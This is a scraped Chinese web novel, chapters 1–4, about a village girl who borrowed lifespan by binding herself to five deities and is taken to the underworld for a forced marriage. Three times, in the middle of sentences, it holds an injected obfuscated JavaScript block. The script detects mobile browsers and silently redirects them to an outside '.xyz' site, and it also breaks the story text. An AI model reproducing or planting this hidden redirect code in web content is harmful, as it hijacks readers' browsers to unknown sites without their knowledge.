《小孩子才做选择》 1. 第 1 章 “要说我家小南山啊,那可真是福大命大,刚出生时弱得跟病苗似的,本来是活不成的,结果那会儿恰好有个高人路过,给我们出了个向神仙借寿的法子,说是找个地仙庙,给小南山和里头供奉的地仙像绑上红绳,只要红绳消失,就代表神仙答应结亲,自然会保她二十年寿命。” “可二十年哪够啊,我闺女就该长命百岁才对!我一寻思,绑一个地仙能活二十年,那要是找五个地仙庙绑上五根红绳,不就能长命百岁了?!我和她娘一商量,直接又拜了四间庙……” “现在子时过了,小南山的二十岁生辰也过了,可你们看看她,是不是还活蹦乱跳的?这说明什么?说明我的法子有用!五段姻缘,不就等于五个二十年么,长命百岁啊!” 已是深夜,并排建了三间低瓦房的小院里,往常早该归于安宁,此刻却点着三堆篝火,每一堆火前都聚了一群人,每个人脸上都泛着轻松又困倦的笑意。 南山看着亲爹孙晋坐在其中一堆篝火前,一边喝酒一边跟亲戚邻居讲那些陈芝麻烂谷子的事,讲到高兴时还挥舞着手里缺漆少毛的酒壶,一时间有些无奈。 “阿爹,你少喝点!”她高声提醒。 拿着酒壶的小老头眼一瞪:“今天阿爹高兴,你不准管我!” “就是就是,你爹为你高兴,大伙儿都为你高兴,小南山你可不要扫兴啊。”旁边的三叔公也醉醺醺道。 就连村子里最古板的二大伯也跟着点头附和。 南山眯起眼睛:“一把年纪了还酗酒,信不信我告诉三叔婶和二大娘?” 小南山的告状功力,七叔八爷的可都领教过,平时她这么说了,众人一定很快散开,但今天…… “这大半夜的,你三叔婶早就睡了,要告状也只能明天去告。”三叔公得意地啜了一口酒,脸在篝火的映照下更红了,“除非你现在就去我家,把你三叔婶从被窝里叫起来。” 南山怎么可能跑去把身体不好的三叔婶叫起来,闻言气得跺了跺脚,扭头就跑进自家厨房找靠山:“阿娘!阿爹一直喝酒,脸都喝红了!” “等会儿我就收拾他。”正靠在灶火前取暖的刘金花顿了顿,心不在焉地回应。 南山催促:“别等了,再等他就醉死过去了。” “不着急,等你叔公他们走了再收拾也不迟,”刘金花往她手里塞个热乎乎的烤土豆,“怎么这么凉,快去加件衣裳。” “那怎么行,我们还是……”南山把土豆揣进兜里,话刚说到一半,就注意到了她脸上的忧虑。 “阿娘,愁什么呢?”发现亲娘心情不好,小棉袄也就顾不上烂醉的爹了,搬了把小马扎抵着刘金花的膝盖坐下。 刘金花回神,垂眸看向自己这些年放在心尖上疼的宝贝女儿。 灶火烧得很旺,澄黄的光照在南山的眉眼上,为本就漂亮的五官镀上一层金光。刘金花忍不住摸了摸她细嫩的脸,慈笑:“这么漂亮,也不知道随了谁。” “我是阿娘生的,自然是随了阿娘,”哄人的话随口就来,南山也没忘正事,“别打岔啊,你还没说自己在愁什么呢。” “什么都瞒不住你。”刘金花没什么力道地横了她一眼,又一次陷入沉默。 南山等了半天,始终没有等到她的回答,正要开口追问时,刘金花终于缓缓说出心中忧虑:“你和仙人绑红绳借寿的事,想来你刚才也听你阿爹说了吧?” “何止是刚才,阿爹每次喝完酒都要说。”南山撇了撇嘴,显然早就习惯了。 刘金花短促地笑了一声,又忧愁道:“那你应该也知道了,跟仙人绑红绳,其实就是和仙人结亲的意思,说白了和订下婚约差不多,跟五个仙人绑红绳,那就是定了五份婚约,这、这不就是骗婚嘛。” 南山总算明白她在愁什么了,问:“你是怕仙人们怪罪?” “你生下来就有不足之症,连水都喂不进去,其实是没两日可活的,能健康地长到二十岁,已经是老天可怜我和你阿爹了,但我和你阿爹……”刘金花想起往事,也有些羞窘,“那时候太年轻,不能接受你只能活二十年,才想出这种昏招。” 当初绑红绳也是死马当活马医,没想到还真医活了,她也就开始焦虑骗婚的事。 那可不是一般的骗婚,是骗仙人的婚,谁知道会遭什么报应呐!刘金花想到这里,更担忧了。 “要不是你和阿爹的昏招,我昨日生辰时就死了,所以别懊悔了,至于那五根红绳……哎呀,仙人愿意借寿,那是因为可怜咱们,不忍让咱们一家三口分开,你真以为是看上我了?”南山摇了摇她的手,“阿娘你想啊,你要是仙人,会想和我成亲吗?” 刘金花:“会。” 回答得太干脆,以至于南山突然有点接不上话。 短暂的沉默后,南山提醒:“绑红绳那会儿,我才出生两天,听三婶说长得又瘦又小的,像个没毛的猴子。” 丑成那样,仙人得眼神多差,才会真的瞧上她? 刘金花更认真了:“你不懂,小时候越丑,长大了就越漂亮,仙人们眼光好着呢,不然为什么每一个都答应结亲。” 南山:“……”阿娘,你确定吗? 南山被亲娘的偏爱噎得大半天没说话,回过神后哼哼唧唧,总算让刘金花暂时放下顾虑,重新笑了起来。 夜色愈发深了,院里的篝火渐渐熄灭,亲戚邻居陆续离开,刘金花去收拾院子,南山挽起袖子,一个人把孙晋扶到东屋床上。 脱鞋盖被,安顿好小老头,南山又端了碗水来:“阿爹,喝水。” “不喝,大晚上的喝什么水啊。”孙晋醉醺醺地嘀咕。 南山乐了:“你大晚上还喝酒呢!” “那怎么能一样,那不一样,不一样……” 眼看着他开始犯困,南山只好放下碗转身离开。 “小南山……”孙晋突然惊醒。 “嗯?”南山回头。 孙晋嘴里嘟囔一句,南山没听清,便凑近些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006140|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“什么?” “阿爹、阿爹还没给你煮长寿面……” 南山这次听清了,一时间好气又好笑:“你都醉得不知道东南西北了,还记得长寿面呢?” “要吃的,过生辰……都要吃的。” “行行行,明天补。”南山敷衍完酒鬼就要离开,结果才走两步,又听到他说了句什么,于是只好再次折回来,“又说什么?” “祝、祝我的小南山寿寿寿……寿比南山,岁岁无忧。” 孙晋吭哧半天,终于说完了这句话,于是心满意足地等着来自宝贝女儿的夸奖。 南山沉默半晌,问:“这么有文采的词儿,不是你自己想的吧?” “你三婶家小儿子教的。”孙晋承认。 父女俩对视片刻,都乐了。 刘金花一进来就看到父女俩对着傻乐,顿时抽了口气。 “我没喝酒!”南山赶紧解释。 刘金花这才放心。 “但是,”南山立刻补了句,“阿爹喝了很多酒,还不肯喝水,我怎么劝都不肯喝。” 刘金花对丈夫就没那么宽容了,一个眼神横过去,孙晋蹭地坐了起来,端起缺了口的瓷碗咕嘟咕嘟喝了几口。 “行了,赶紧睡吧,”南山脚步轻快地往外走,“希望我明年过生辰的时候,你别这么敷衍了,最起码贺词得自己想吧。” “我连字都不认识,怎么想得出贺词……”喝完水的孙晋口齿都利索了不少。 南山转眼已经走到门外,发现阿娘正对阿爹横眉冷对,于是勉为其难为他说了句话:“虽然阿爹今天很不懂事,但看在他是最好的爹爹的份上,阿娘就饶他一次吧。” “嘿嘿,小南山说我是最好的爹爹……”孙晋嘚瑟地看了刘金花一眼,对上她的视线后又怂了。 刘金花懒得和他一般见识,抬头叮嘱门外的闺女:“给你烧了热水放屋里,你泡个脚驱驱寒再睡。” “好的阿娘,”南山乖巧答应,还不忘再安抚一下,“阿娘你也早点睡啊,别再担心些有的没的了,相信我,不会有事的!” 说罢,不给爹娘反应的机会,就快速地从外面关上了房门。 “不会有事的~不会有事的~不会有事的~” 南山一边用不成调的曲子、重复着跟阿娘说的最后一句话,一边脚步轻快地穿过小院来到西屋门口,正要推开门进屋时,身后突然起了一股大风,吹得她下意识回头。 “不会有……”嘴里的调子还没停,人已经转过身去。 大风转瞬即无,不大的院子里,凭空出现了五顶花轿。 花轿各有不同,但在同样清冷月光下,都折射着阴森森的光辉。 “有、有、有事……” 南山默默咽了下口水,僵站片刻后扭头就要往屋里跑,结果手指还没碰到门环,人便轻飘飘地倒了下去。 失去意识前,她脑子里突然冒出相当有文采的四个字—— 大事不妙。 2. 第 2 章 “父王知道你气我自作主张,未经允许就为你绑定姻缘,但父王也是为你好啊!实话跟你说吧,她不是普通的凡人,不然我当初也不会费尽心思为你们订婚,你相信我,你们俩是天生一对,不论是八字还是秉性都……” “我不娶。” “你别急着拒绝啊,至少见一面再说,这姑娘活泼漂亮,还透着一股机灵劲儿,你见了肯定喜欢。” “不见。” “你必须见!” “……” 对话戛然而止,接着便是房门被推开的声响,南山的眼睫轻轻颤了一下,尽可能放平呼吸。 “还没醒?”刚才自称是父王的声音含笑问。 南山躺得直挺挺,继续装睡。 那人沉默片刻,又道:“听说凡人熟睡时以火灼烧,睡得再沉也会……” “醒了醒了,已经醒了!”南山赶紧爬起来,下一瞬就和一个蓄着胡须的中年男子对上了视线。 和阿爹差不多的年纪,脊背却比阿爹挺拔,身上的衣裳看不出面料,但一看就是她家三辈子也买不起的贵气。南山活了二十年,还是第一次看到这么气派的人,简直比她之前偶然见过的县太爷还气派。 “看什么?”男子笑眯眯问。 南山回神,尴尬道:“看您有些眼熟,我们以前是不是见过?” 男子眼神突然微妙,故意板起脸道:“本尊乃是冥界之主阎岳,你一个小小的凡人,又怎会同本尊见过?” 南山本来只是随口一说,可真听到他反驳了,又突然生出一点熟悉的感觉。 “我真觉得见过……”她小声嘀咕。 阎岳轻咳一声,正要开口说话,南山突然发现门口还站了个人……也不一定是人,毕竟她没见过哪个人是长着牛角和猪鼻子的。 对方察觉到她的视线,睁着只有黑瞳的眼睛幽幽看过来,南山后背一僵,看看对方,再看看阎岳,看看阎岳,再看看对方。 漫长的沉默过后,她慢慢挤出一点笑容:“这这这位是……” “本尊的婢女。”阎岳代为回答。 “婢女……”南山眨了眨眼睛,猛地松一口气,“姑娘啊?!” “你以为是什么?”阎岳挑眉。 ……以为是你儿子。南山无辜地看着阎岳,没把心里话说出来。 阎岳却看出了她的想法,笑了:“刚才本尊和灵晔的对话,你都听到了?” 灵什么?没听清,应该是他儿子的名字。 南山挠挠头,讪笑:“听到了几句。” “所以眼下的情况,你已经明白了?”阎岳又问。 这个时候该回答‘是’还是‘不是’呢?南山纠结片刻,最后诚实地点了点头:“大概明白一点。” 刚才一直在外面说不娶的,就是和自己绑定的五个仙人里的其中一个,而眼前这人就是仙人的亲爹,听他们的对话,似乎仙人不知道婚约的事,一切都是仙人爹自作主张。 原来神仙也要盲婚哑嫁啊。 南山:“仙人不想娶我。” “他说得不算。”阎岳笃定道。 都当神仙了,还说得不算呐?南山略表同情。 “你呢?”阎岳突然问。 南山没反应过来:“什么?” “你可愿与我儿成婚?”阎岳又问一遍。 南山看着他慈和的脸,鼓起勇气试探:“我说得算吗?” “那得看你说什么。”阎岳笑眯眯。 南山:“……我愿意?” “真懂事。”阎岳满意点头。 南山:“……” “既然你们都愿意,那这事儿就好办了,”阎岳也不知道从哪得出了都满意的结论,抬眸看向门口的婢女,“去叫少主过来商议婚期。” “是。”婢女答应一声,飘了出去。 ……是飘的吧?南山怀疑自己看错了,正伸着脑袋往外看,突然对上一双巨大的圆眼睛,她顿时眼前一黑。 “不是不是,这个不是,”阎岳赶紧解释,顺便瞪一眼顶着青蛙脑袋的人,“少主呢?” “回尊上呱,药浴时间到了呱,少主回不夜阁了呱。”青蛙精无辜回答。 阎岳皱了皱眉头,下一瞬对上了南山无辜的眼神。 “咳……灵晔他前些年受过一次重伤,从那以后就落下了病根,每天都要泡药浴才行。”阎岳解释。 南山眨了眨眼,没有说话。 “既然他去药浴了,那就改日再商议吧,”阎岳做了决定,又叮嘱南山,“你先休息吧,需要什么就直接叫人准备,等婚期定了,本尊会亲自来告知你。” “好的。”确定自己要嫁的不是青蛙脑袋后,南山一脸乖巧。 阎岳:“也别乱跑,这里不比凡间,你一个凡人乱跑容易有危险。” 南山:“好。” 见南山这么配合,阎岳打消了派人守着屋子的念头,直接转身离开了。 一刻钟后,南山鬼鬼祟祟从窗子翻了出去,在灰蒙蒙的夜色下,挑了条没人的小路径直往前跑。 其实她也不知道自己在什么地方,不知道这里有多少屋子多少条路,更不知道这里有多少守卫,那些守卫会不会长得像刚才的青蛙一样奇怪,但根据她以前在山上迷路的经验,只要认准一个方向往前跑,就一定可以离开这个地方。 南山凭借经验一路狂奔,脚上的布鞋都要跑飞了,仍然不敢稍作休息。她得快一点,再快一点,只有这样才能在最短的时间内回到家。 一想到家,南山就想起昏迷前看到的五抬花轿,心底的焦虑再也克制不住—— 五根红绳的事肯定已经暴露了,她被阎岳带走,意味着另外四个仙人扑空,也不知道阿爹阿娘会不会被报复。 南山越想跑得越快,恨不得一步迈回家,完全没注意到周围渐渐聚起雾气,等她发现这些奇怪的雾气时,已经看不清前方的路了。 雾气越来越浓稠,简直像有了重量一般,胶着的雾里仿佛随时会有什么妖魔鬼怪蹦出来。南山自认胆子不算小,可面对这种奇怪的白雾,仍然生出一股恶寒。 “这到底是什么鬼地方……”她搓了搓胳膊上的鸡皮疙瘩,提着一颗心慢吞吞往前走。 大雾仿佛无穷无尽,她走得腿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006141|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸了,仍然没有走出白茫茫的包围。 院子有这么大吗?她走了这么久,也该走出去了吧?还是说她误入了陷阱,一辈子也走不出去了?南山突然感觉很累,想直接躺在地上睡一觉。 睡一觉吧,她跑了这么久,实在是太累了,她现在真的需要休息。南山的脚步越来越慢,终于在又走了三五步之后彻底停下。 雾气几乎已经凝成实质,将她包裹了一层又一层,南山连呼吸都觉得累,睡眼朦胧地看向地面,却只能看到白茫茫一片。 睡吧,睡一觉吧……南山脑子里有无数个声音在劝她,她也很想闭上眼睛,但下一瞬想到生死未卜的阿爹阿娘,又瞬间清醒过来,用尽所有力气抬脚往前走。 只一刹那,大雾散去,落满阳光的奢华庭院暴露在眼前。 “天、天亮了?” 南山看着天边漂亮的云彩,正迷茫时,突然听到一点水声,她紧张回眸,入目便是奢华精致的小桥流水和亭子,亭子上挂着白色半透的纱幔,风一吹轻轻摆动,模糊了纱幔中的人影。 下一瞬风将纱幔吹起,露出了对方的脸。 是一个男人。 大约二十出头,眉眼清俊,棱角分明,透着一股说不出的锐利和矜贵。 四目相对,男人左手腕上似有什么亮了一下,他眼神微冷,抬手抚过骨骼分明的手腕,再松开已经没有光亮。 南山被他的容貌恍了一下神,好半天才后知后觉地发现亭子里竟然有一个冒着热气的池子,男人只穿了一件单衣,而且已经湿透了,此刻领口大开贴在身上,水珠顺着领子滚落,在紧实的肌肉上划出一道水痕。 南山默默望远山,随即想到什么,又猛然看过去—— 冒热气的池子、和她看起来差不多年纪的男人……她知道这人是谁了! ……真倒霉,跑了这么久,竟然跑到仙人跟前了,这跟苍蝇飞到蜘蛛网上有什么区别?!南山暗道倒霉,正思考要不要下跪投降时,突然又想起阎岳刚才说他落下病根的事。 一个需要每天泡药浴的病秧子,也许根本奈何不了她?南山顿了顿,对着亭子里的男人眨了一下眼睛。 男人早已经发现她,此刻目光清冷地与她对视,却仍然泡在池子里没动。 不动,也不说话,这是个哑巴瘫子?南山安静片刻,左脚默默往后撤了一步。 几乎是脚尖点地的刹那,身侧的池塘里突然炸开一声巨响,一只青面獠牙的怪物咆哮而出,张开血盆大口扑向男人。 南山吓得倒抽一口冷气,连忙大声提醒:“小心!” 男人却还是没动,只淡漠地扫了怪物一眼,怪物便蓦地僵停在半空,喉咙仿佛被什么攥住一般,发出痛苦窒息的嘶声。 “不自量力。”男人轻启薄唇,下一瞬怪物炸开,幽绿发臭的血浆和肢节扑簌簌落地,溅了南山一身恶臭。 南山:“……” 男人靠在池壁,又一次看向她。 左脚已经往后撤了一步的南山沉默片刻,默默顺着撤退的姿势往地上一跪。 “仙人!民女期盼了二十年,今日可算见到您了!” 3. 第 3 章 南山的生存之道,必要时先伏低做小,先把对方捧得高高的,再扮乖装可怜,每次用到这招,对方不管多气,都会被很快哄好。 一发现情况不对劲,她便熟练地用了这招,有道是伸手不打笑脸人嘛,就是吧……她都跪半天了,仙人怎么还不吱声? 太阳光依然明媚,只是没什么热气,南山淋了一身黏稠的恶臭玩意儿,不仅被熏得头晕,风一吹还冷得打哆嗦,几乎要维持不住跪姿。 亭子里却没有什么声响,静得仿佛无人存在,南山趴了半天,终于忍不住偷偷抬头,下一瞬却对上一双冷淡的眼睛。 ……他什么时候从水里出来的?南山愣了愣,下一瞬被修长的手指挑起下颌,被迫与近在咫尺的男人对视。 太近了,近到能嗅到他身上带着药草味的水汽,他微微俯身时,没有系上的衣带在落在她的眉心,带来温热的湿意。南山作为二十岁还没成婚的大龄姑娘,明知眼前的人很危险,但还是不合时宜地红了脸。 男人的视线落在她闪烁的眉眼上,淡淡道:“再看就挖了你的眼睛。” 南山的羞涩一瞬干涸。 男人神色淡漠地松开她,像擦什么脏东西一样仔细擦手:“想逃?” 南山一愣,明白他的意思后忙道:“民女能嫁给自己的救命恩仙,是民女三辈子都求不来的福气,民女感激还来不及,又怎么可能会逃,民女就是太想看看您了,才忍不住跑来找您,还请您看在民女对您一片心意……” 空气破开,平白出现一把匕首,直直指向她的咽喉。 南山:“想逃。” 匕首又化作水汽消失在空气里,男人看了她一眼:“出了门,往东南方跑。” ……他让她走?南山微微一怔,突然想起他也不乐意成婚的事,于是小心试探:“您知道我是谁?” “整个冥界,就只有你一个活人。”男人眼神淡漠,声音也透着凉意。 ……什么叫只有她一个活人,冥界到底是个什么地方?南山打了个寒颤,还没等细想,就突然反应过来,眼前的人并不想娶她,于是立刻表示:“只要您送我回家,我保证以后绝对不会再来打扰您!” 男人对她的识趣还算满意,正要说什么,眉头突然不悦蹙起:“你走不了了。” 话音未落,庭院上空传来阎岳的声音:“灵晔,将结界打开。” 南山顿时着急:“那怎么办?!” 灵晔居高临下地看着她,像是在斟酌什么,南山焦急地四下张望,正寻找逃跑的路径时,就听到他缓缓开口:“父王再独断,也不至于为难一个凡人,只要你宁死不屈,他定然会放你离开。” 话音刚落,他突然俯身,近到几乎要碰到她的鼻尖,“你会这么做,对吧?” 南山想起阎岳那张笑眯眯的脸,刚要表示质疑,一股力量就突然将她掀翻,等她回过神时,发现自己落在了怪物的断肢上。 阎岳已经出现在庭院里,皱紧了眉头刚要质问灵晔为何不开结界,灵晔就抬手点了点死掉的怪物:“已经没事了。” 阎岳顺着他的手指看过去,看到了一边干呕一边往外爬的南山,一时间愣住:“怎么回事?” 南山讪讪,刚要开口说话,就听到灵晔轻描淡写道:“哦,有东西要杀我,她帮我解决了。” 好不容易爬到一旁去吐的南山茫然:“啥?我吗?” “嗯。”灵晔眯起眼眸,无声警告她别乱说话。 南山:“……”这位大哥,得是多蠢的人才能相信我一个弱女子能杀这么大只的怪物啊?! 阎岳一脸感激:“南山,这次真是多亏你了。” 南山:“?” 阳光照耀的庭院里很快涌进来一堆长得奇奇怪怪的人,南山稀里糊涂地被一个长着猪鼻子的姑娘拉走,又稀里糊涂地被喂了几颗丸子药,等回过神时,发现身上已经干净如初。 ……不,比之前还干净,阿娘怎么洗都洗不干净的去年弄在身上的脏痕,如今却丁点没剩下,连补丁上破损的针脚也修好了,简直像新衣服。 “怎么做到的……”她惊讶地嘀咕。 姑娘笑了一声:“是最低阶的清洁咒而已。” 南山听不懂,仍然一惊一乍地夸奖她,把姑娘夸得害羞低头,差点暴露自己的三排尖牙。 “查!给本尊继续查!本尊倒要看看是什么东西如此胆大包天,竟将心思打到了少主身上!”阎岳还在发火,一回头就看到南山笑嘻嘻的样子,招招手道,“南山,跟本尊回去,本尊有话要问你。” ……就知道不可能轻易混过去。 南山一瞬面色惨淡:“好……” 垂头丧气地跟在阎岳身后往外走,快走到庭院门口时,突然察觉到身后灼热的视线,她下意识回头,恰好对上灵晔危险的眼眸。 退婚。他无声说了两个字。 南山坚定地点了点头,下一瞬就出现在一间宽敞奢华的书房里。 “你方才为何要逃?”见她还在好奇地四下张望,阎岳直接开口。 南山正偷偷摸桌上的烛台,结果蜡烛突然燃亮,火苗不客气地在她手上咬了一口。她连忙缩回手,正惊魂未定时,就对上了阎岳似笑非笑的眼神。 “仙人伯伯。”南山乖巧打招呼。 阎岳没想到她会这么称呼自己,装出来的威严表情顿时绷不住了,再开口已经带着点长辈的慈善:“不想嫁给灵晔,想悔婚?” “呃您听我解释……” “行,本尊这就叫人送你回凡间。”阎岳打断了她的辩解。 还有一肚子借口没说的南山:“啊?” “送你回家。”阎岳重复一遍。 南山还是茫然:“怎么突然愿意送民女回家了?” “强扭的瓜不甜嘛,要是再留着你,灵晔那小子肯定教唆你一哭二闹三上吊,本尊又不能为难你一个小姑娘,最后还是得放你走,再说你方才还救了灵晔的命,本尊就更不能强迫你了。”阎岳大手一挥,似乎想通了。 这对父子还真是相当了解对方,就是吧…… “您真觉得我一个凡人,能杀掉那么大一只怪物?”她忍不住问。 阎岳没当回事:“你是天生灵骨,有什么不能的?” “天生什么?”南山没听清。 “哦,天生灵骨,活着是几千年难得一遇的修炼天才,死了就是可破修行瓶颈的绝妙神器,当初本尊也是因为你体内的灵骨,才会定下你和灵晔的婚约,”阎岳看了她一眼,“想来那四段婚约的主人,也是为了你的灵骨来的,就是不知他们想要死的还是活的。” 说完,还特意强调,“本尊肯定是要活的,灵晔伤了根本,修为上注定再无所成,若是能娶个强大的媳妇儿,本尊将冥界之主的位子传给他时,旁人才不敢多作为难。” 本来听他直白地提起另外四段婚约,南山还有点心虚,结果听到死啊活啊的话,直接后背发冷了:“不能吧……也许其他仙人只是想救我呢?” 阎岳一脸同情地看着她:“那四抬轿子全都有阴邪之气,其中一抬更是死气弥漫,恐怕轿子主人皆非善类。” 南山笑不出来了。 半晌,她下定了决心:“您真愿意放我走?” 都把话说到这份上了,还要走?阎岳惊讶:“你知道自己一旦回去,会是什么下场吗?” “……知道,但我还是得回去,”南山眉头紧皱,神情难得凝重,“阿爹阿娘还在家里,我必须回去。” “哪怕会死?”阎岳问。 南山抬头看向他,眼底没有一丝动摇:“哪怕会死。” “那本尊若是说,那四抬花轿的主人并未露面,你爹娘如今也健在,你还想回去吗?”阎岳问。 南山眼睛一亮:“真的?” “就知道你不信。”阎岳斜了她一眼,一挥袖空气扭动,不多会儿半空出现一面镜子一样的东西,里面显现出南山家的三间小瓦房。 “那是我阿爹!”南山看着正在挑水的小老头惊呼,接着又发现坐在堂屋门口纳鞋底的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006142|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘金花,高兴了,“那是我阿娘!他们都还好好的!” “本尊没骗你吧?”阎岳轻哼一声,胡子也跟着翘了翘。 南山:“……我都丢了,他们为什么一点也不着急?” “本尊给他们留了一封信,说带你出门游历一段时间,他们心里有数,自然不会着急。”阎岳颇为自得地抚了一把胡须。 南山怀疑地看着他:“他们为什么这么相信你?难道你们认识?” 阎岳突然心虚。 “哦哦哦怪不得我一直觉得你眼熟!”南山眼睛一亮,“原来你是……” 阎岳轻咳:“好吧,本尊承认,本尊就是当年那个教你爹娘绑红绳求姻缘的道士。” 南山:“……” 阎岳:“?” 漫长的沉默之后,阎岳气笑了:“你套本尊的话?!” 南山立刻跪下:“没想到您就是我的救命恩人,南山给您磕头了!” 阎岳惊讶:“不怨恨本尊算计你们一家?” 南山扑通扑通磕三个,笑得露出一排整齐的小牙:“怎么会呢,当年要不是您,我早饿死了,您是我的大恩人,是我们全家的大恩人!南山感激您还来不及,又怎么会怨恨呢!” 南山的生存之道,伏低做小,装乖扮可怜,把对方捧得高高的,对方就什么事都不会计较了。 果然,阎岳不再计较她套话的事,伸手将她扶起来:“你这般识大体,本尊很高兴。” “能见到大恩人,南山也很高兴,”南山喜笑颜开,“要是没事的话,我就先走了?” 阎岳一愣:“去哪?” 南山也愣住了:“回家啊,你刚才不是说愿意放我走吗?” 四目相对,无言以对。 半晌,南山一脸伤心:“仙人伯伯,您要反悔了吗?” “……没打算反悔,你走吧。” “谢谢仙人伯伯!”南山生怕他改变主意,扭头就往外跑。 “回去之后记得多打几副棺材。”阎岳慢悠悠提醒。 正往外跑的南山突然放慢脚步。 阎岳:“别紧张,我就是突然想到那四段婚约的主人,你身怀灵骨,他们定然不愿轻易放弃,你不回去也就算了,一旦回去了,免不了就是一场大战,到时候小小村落……多准备几副棺木,有备无患嘛。” 南山:“……” “本尊也只是推测,事情未必会如此发展,你只管回去,大胆赌一把,万一那些耐心筹谋二十年的邪祟突然长出良心,就此彻底放过你呢?” 南山:“……” “不过真到了那地步,你也不必内疚,凡人只要魂魄齐全,死后都会重新投胎转世,到时候本尊给开个后门,让他们都投个好人家就是,不过你应该没这么好运了,灵骨还未成熟,他们或许要留着你的命温养骨骼,到时候只怕想死也死不了。” 南山:“……” 冥界虽有日夜之分,界限却不明显,即便是晌午时分,天空也依然昏沉沉的,仿佛蒙上了一层紫色的薄雾。 灵晔又泡了一个时辰的药浴,靠在亭子旁的山石上假寐,微风打着卷抚过,轻轻拨弄他额前碎发。 片刻之后,他突然睁开眼眸,外头也适时传来青蛙精的声音:“少主呱,尊上请您过去呱。” 灵晔打了个响指,结界化开,露出青蛙精硕大的脑袋。 “找我何事?”他声音清冷地问。 青蛙精疑惑地歪了歪头:“小的也不知道呱,应该是跟婚事有关呱,那个凡人女子也在呱。” 这么快就把婚退了?看来那个凡人还算有点本事。灵晔心情虽然不算太好,但觉得也不糟。 一刻钟后,昏暗的书房内,阎岳和南山正襟危坐。 灵晔一进门,便察觉到不同寻常的氛围,于是慢条斯理地坐下。 “既然人已经齐了,那就商议一下大婚的事吧。”阎岳缓缓开口。 灵晔神色一冷,倏然抬眸看向某人,南山轻咳一声,心虚地望向窗外。 4. 第 4 章 某人就快将‘做贼心虚’四个字刻在脸上了,灵晔面无表情:“确定是商议婚事,而非退婚?” 阎岳故作不解:“好好的退婚做什么?” 灵晔一字一句:“我以为,有些人会宁死不嫁。” 被点到的某人假装没听到,继续装死。 “谁?谁要宁死不嫁?”阎岳无辜地看向南山。 南山睁圆了眼睛,也装无辜:“是啊,谁啊?” 灵晔突然起身,南山和阎岳同时后背一紧,下一瞬就看到他直接离去。 刚才还有三个人的书房,转眼间就只剩他们两个了,南山和阎岳对视半天,突然忧虑:“他就这么走了?一点都不反抗?” “大概是……认命了?”阎岳猜测。 南山:“……他看起来不像是轻易认命的人。” 阎岳也是这么觉得,但还是安慰道:“放心吧,我的儿子我最了解,看起来脾气坏,却最是心软,做不出什么混账事的。” ……你了解什么?你连他抬抬手指就能杀掉一只怪物都不知道!南山心里咯噔咯噔的,最后问一句:“你确定他不会杀我?” 阎岳顿了顿,认真道:“确定。” 南山:“……”要不是看见他犹豫了一下,自己真就相信了。 不管怎么说,事已至此,也只能听天由命了。 南山步履沉重地回到先前待过的寝房,刚一进门就闻到一股扑鼻的香味,她愣了一下,看到桌子上满满当当的美食后眼睛都亮了。 “这些是冥主……” “啊!” 南山惊叫着跳开,刚抓住右手上的珠串,就对上一双黑乎乎的眼睛,和两只硕大的牛角。 来人浑然不觉自己这张脸有多吓人,仍然幽幽说话:“这些是冥主特意叫人准备的凡间吃食,孙姑娘请尽情享用。” 说罢,就游魂一样飘出去了。 南山默默咽了下口水,确定那人走远了才低头,小心把珠串藏到袖子里,确定看不出来了,才跑到摆满美食的桌子前。 大肘子,大鸡腿,红烧肉,还有好几样从来没见过的菜,南山过年都没吃过这么多好东西,一时间没了节制,直到吃撑也没舍得放下筷子。 长着牛角的人再次飘进来时,她正艰难地往嘴里送最后一口红烧肉,一边送一边嘀咕:“不能再吃了,再吃就要吐了……” 那人嘴角抽了抽:“姑娘吃饱了?” 南山依依不舍地放下筷子,表示已经吃饱了。 “那剩下这些我就扔了。”那人表示。 南山一愣:“扔了?” “扔了,”那人重复一遍,大概是南山的神情太不可置信,他又多解释一句,“这是凡间的吃食,除了少主,就只有姑娘一人需要。” 言外之意,总不能让他家少主吃剩饭吧。 “太浪费了……”南山倒没有多想,只是很想要几张油纸给阿爹阿娘打包回去,可也只是想想而已,她现在连自己都回不了家,又怎么可能把这些吃的送回去。 她叹了声气,继续打商量,“要不这样,你别扔了,我明天热热再吃怎么样?” 那人一顿:“明天还有新的吃食……” “不用不用,”南山摆手,“我吃这些就行,都是没动过的。” 那人似乎不懂她为什么要这么做,歪了歪头看向桌子,发现所有菜被动过的地方都吃完了,没动过的地方依然齐齐整整地码着。 “那就明日给姑娘热了吃。”那人打个响指,桌上的菜就凭空消失了。 “我其实可以自己……” 没等她把话说完,那人已经飘出去了,南山摸了摸鼻子,开始打量眼前的寝房。 